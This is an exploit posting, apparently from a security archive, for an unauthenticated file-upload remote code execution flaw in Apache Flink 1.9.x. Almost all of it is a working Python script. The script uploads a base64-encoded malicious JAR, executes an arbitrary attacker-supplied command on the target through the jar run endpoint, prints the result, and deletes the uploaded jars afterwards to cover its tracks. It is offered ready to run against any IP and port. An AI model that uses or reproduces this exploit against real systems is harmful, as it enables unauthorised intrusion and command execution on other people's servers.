Apache Flink 1.9.x Shell Upload

Apache Flink version 1.9.x suffers from a remote code execution vulnerability via a malicious upload.


MD5 | 73ba56695db605e8cd2386e1c79e0bca

#!/usr/bin/env python3
# _*_ coding: utf-8 _*_

# Exploit Title: Apache Flink 1.9.x - File Upload RCE (Unauthenticated)
# Google Dork: None
# Date: 2020.11.01
# Exploit Author: bigger.wing
# Vendor Homepage: https://flink.apache.org/
# Software Link: https://flink.apache.org/downloads.html
# Version: 1.9.x
# Tested on: Centos7.x, 1.9.1
# CVE: None

import io
import re
import sys
import base64
import requests


class FlinkRCECheck:

def __init__(self, url):
self.url = url
self.timeout = 10
self.upload_file = 'rce_check_from_sec.jar'
self.headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/61.0 Safari/537.36'
}

@property
def get_version(self):
url = '%s/%s' % (self.url, 'config')
try:
res = requests.get(url, headers=self.headers, timeout=self.timeout, verify=False)
version = res.json().get('flink-version')
except:
version = 'unknown'
return version

@property
def jar_check(self):
url = '%s/%s' % (self.url, 'jars')
jar_list = []
try:
res = requests.get(url, headers=self.headers, verify=False, timeout=self.timeout)
if res.status_code == 200 and 'application/json' in res.headers.get('Content-Type', ''):
res = res.json()
for file in res['files']:
if file['id'].endswith(self.upload_file):
jar_list.append(file['id'])
except Exception as e:
pass

return jar_list

@property
def jar_upload(self):
url = '%s/%s' % (self.url, 'jars/upload')
jar_content = base64.b64decode('UEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My'
'0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALg'
'AAAFBLAwQKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAE1FVEEtSU5GL1BLAwQUAAgICAAidW1PAAA'
'AAAAAAAAAAAAADQAAAEV4ZWN1dGUuY2xhc3ONVet2E1UU/k4yyUwmQy+TQlsQBdSStqSxiIotIlAK'
'VkJbSa0G8DKZHpPTJjNhLjTVCvoQ/ugT8MsfqCtx0aUPwEOx3Gdo09KGtUzW7H3O3vvbt7PPzPMXz'
'/4FMIlfdbyDyxo+1XBFx1Vc05HCjIbrks+quKHipobPNMzp0PC5hlsqChpu6+jBvCQLGhal6gsVd3'
'QUsaRjAF9qWJb8K0m+lqQkyd0URbin4r6OkzLoN5J/K8l3Or6HpaKswmZIXhKOCC4zxLOjywzKjLv'
'CGXoLwuHzYb3MvSWrXCOJWXBtq7ZseULud4RKUBU+Q6ow2+R2GPBpEtUt4TAcy94rrFoPrXzNcir5'
'YuAJpzItA7AGw/F9qkXPtbnvXwtFbYV75CDeCDZkuENo8m15FQqX6eKaHLuEtesrtJI2h0NIG7ujC'
'QNRyxdty3GiqPps0+aNQLiOr4J86EU39Gx+Q8gyjZ3yJiTSwLsYYQCD6voTjlXnKriBH1AxUIWgJN'
'aFY2AVawxDr6uToe9gCeSPsp/gTQoYy9syTI5k+bJw8n6VkogAws2/zCkVKcqWX5WWNQN1UNtjOQK'
'6oB73H6pSxQMDHnxpH5Dp/asGQjw0sA7KtwlhYAMjBn7ETwyDB9PrJB7fvLJpYBM/G3gEoeKxgV9Q'
'o0x3mvRKaQvlVW5TsMyeqNPoV3uw4Qe8zpCu8IBa1eCenIKRbJch6nb46cAtuOvcm7F8SmAg29VIs'
'10noOmk8Tix3/FM1fKK/EHIHZtPj95lONotLM1ukjeFH/jRXSGzhB9YXiDNR7tOW/8hIUMP1TfnNM'
'KA3HKLCh7cBdPJ7lMQfCjbVSETMUKfX+c1UReBPJKzr2/TgTFXq5Y/z5uUtOJELGHXXNmyuBvKSjo'
'RF8nJXipJq9HgDl2L3P86kL3LrAXu7nRnurim+A25w2m8Te9G+YvRxaILRvQs7fLE6a4hMdYGexqp'
's0STkZBhlKjx0gBjGCeewjnkyIrAbInskiT7y4wVxuLnb5vxv6G0kDCTLahbOLUNrZT8B6lS3NSLJ'
'cVMF0uJc8U2jPknuGAemVK20VMye9voa6F/C6rZK0W7mGFFYswOJtdCRuoHSsMU5Ggbx8zBFoamEs'
'OJFoa3kJb8+BMo4wW5OvEH3tjGyVIbb5pvtXBqnJ5o0cLpFs7s1fohjhCN01+BSvUMEr1AdV6Ejpt'
'I4xbpOXqxhj66kP34DSb+RCbqzR36WEwScoIaGSdEDu/RXpE9wXm8H/l9St4m5dsMv+MDWsXI28IO'
'Yg1zFP8jQjwifhEfU5+nCKWQ/TQ9l6IsP/kPUEsHCEEOnKXWAwAA4gYAAFBLAQIUABQACAgIACJ1b'
'U+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAAAAAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSw'
'ECCgAKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAB2AAAATUVUQS1JTkYvUEsBAhQ'
'AFAAICAgAInVtT0EOnKXWAwAA4gYAAA0AAAAAAAAAAAAAAAAAnQAAAEV4ZWN1dGUuY2xhc3NQSwUG'
'AAAAAAMAAwC4AAAArgQAAAAA')
files = {'jarfile': (self.upload_file, io.BytesIO(jar_content), 'application/octet-stream')}

try:
res = requests.post(url, headers=self.headers, files=files, timeout=self.timeout, verify=False)
file_id = res.json()['filename'].split('/')[-1]
return file_id
except Exception as e:
res = False
return res

@property
# delete history jar packages
def jar_delete(self):
for jar_name in self.jar_check:
url = '%s//jars/%s' % (self.url, jar_name)
try:
requests.delete(url=url, headers=self.headers, timeout=self.timeout, verify=False)
except:
pass
return

def rce(self, command):
jar_file = self.jar_upload
try:
execute_cmd_url = '%s/jars/%s/run?entry-class=Execute&program-args="%s"' % (self.url, jar_file, command)
res = requests.post(url=execute_cmd_url, headers=self.headers, timeout=self.timeout, verify=False)
res = re.findall('\|@\|(.*?)\|@\|', res.text)[0][0:-2]
if res:
print('rce command "%s" exec result: %s' % (command, res))
state = 1
msg = '%s rce success' % self.url
else:
state = 0
msg = '%s rce failed' % self.url
except:
state = 0
msg = '%s rce failed' % self.url

delete = self.jar_delete

return {'state': state, 'version': self.get_version, 'msg': msg}


if __name__ == '__main__':
usage = 'python3 script.py ip port command'
if len(sys.argv) != 4:
print('simple usage: %s' % usage)
else:
ip = sys.argv[1]
port = sys.argv[2]
command = sys.argv[3]
url = 'http://%s:%s' % (ip, port)
res = FlinkRCECheck(url=url).rce(command=command)
print(res)

Related Posts